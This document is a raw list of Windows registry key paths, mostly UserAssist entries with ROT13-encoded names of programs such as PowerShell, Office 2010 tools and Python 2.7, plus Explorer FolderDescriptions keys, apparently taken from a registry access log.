HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Gnoyrg CP\Jvaqbjf Wbheany.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR (k86).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy VFR.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Npprffbevrf\Jvaqbjf CbjreFuryy\Jvaqbjf CbjreFuryy.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzcbarag Freivprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Pbzchgre Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Qngn Fbheprf (BQOP).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Rirag Ivrjre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\vFPFV Vavgvngbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Zrzbel Qvntabfgvpf Gbby.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cresbeznapr Zbavgbe.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Cevag Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Frphevgl Pbasvthengvba Znantrzrag.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Flfgrz Pbasvthengvba.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Gnfx Fpurqhyre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf Sverjnyy jvgu Nqinaprq Frphevgl.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Nqzvavfgengvir Gbbyf\Jvaqbjf CbjreFuryy Zbqhyrf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Perngr Erpbirel Qvfp.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Znvagranapr\Erzbgr Nffvfgnapr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Qvtvgny Pregvsvpngr sbe ION Cebwrpgf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Bssvpr Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\VQYR (Clguba THV).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Zbqhyr Qbpf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Clguba (pbzznaq yvar).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Npebong.pbz\Npebong.pbz.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfNalgvzrHctenqrHV.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf Wbheany\Wbheany.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{15067OP1-P5N8-425R-37P6-SN0O891674S9}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Pbzzba Svyrf\zvpebfbsg funerq\BSSVPR14\Bssvpr Frghc Pbagebyyre\cebzb.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{53123611-QN37-S8QN-SNP9-03R76QO9Q64Q}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InitFolderHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Recent
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResourceType
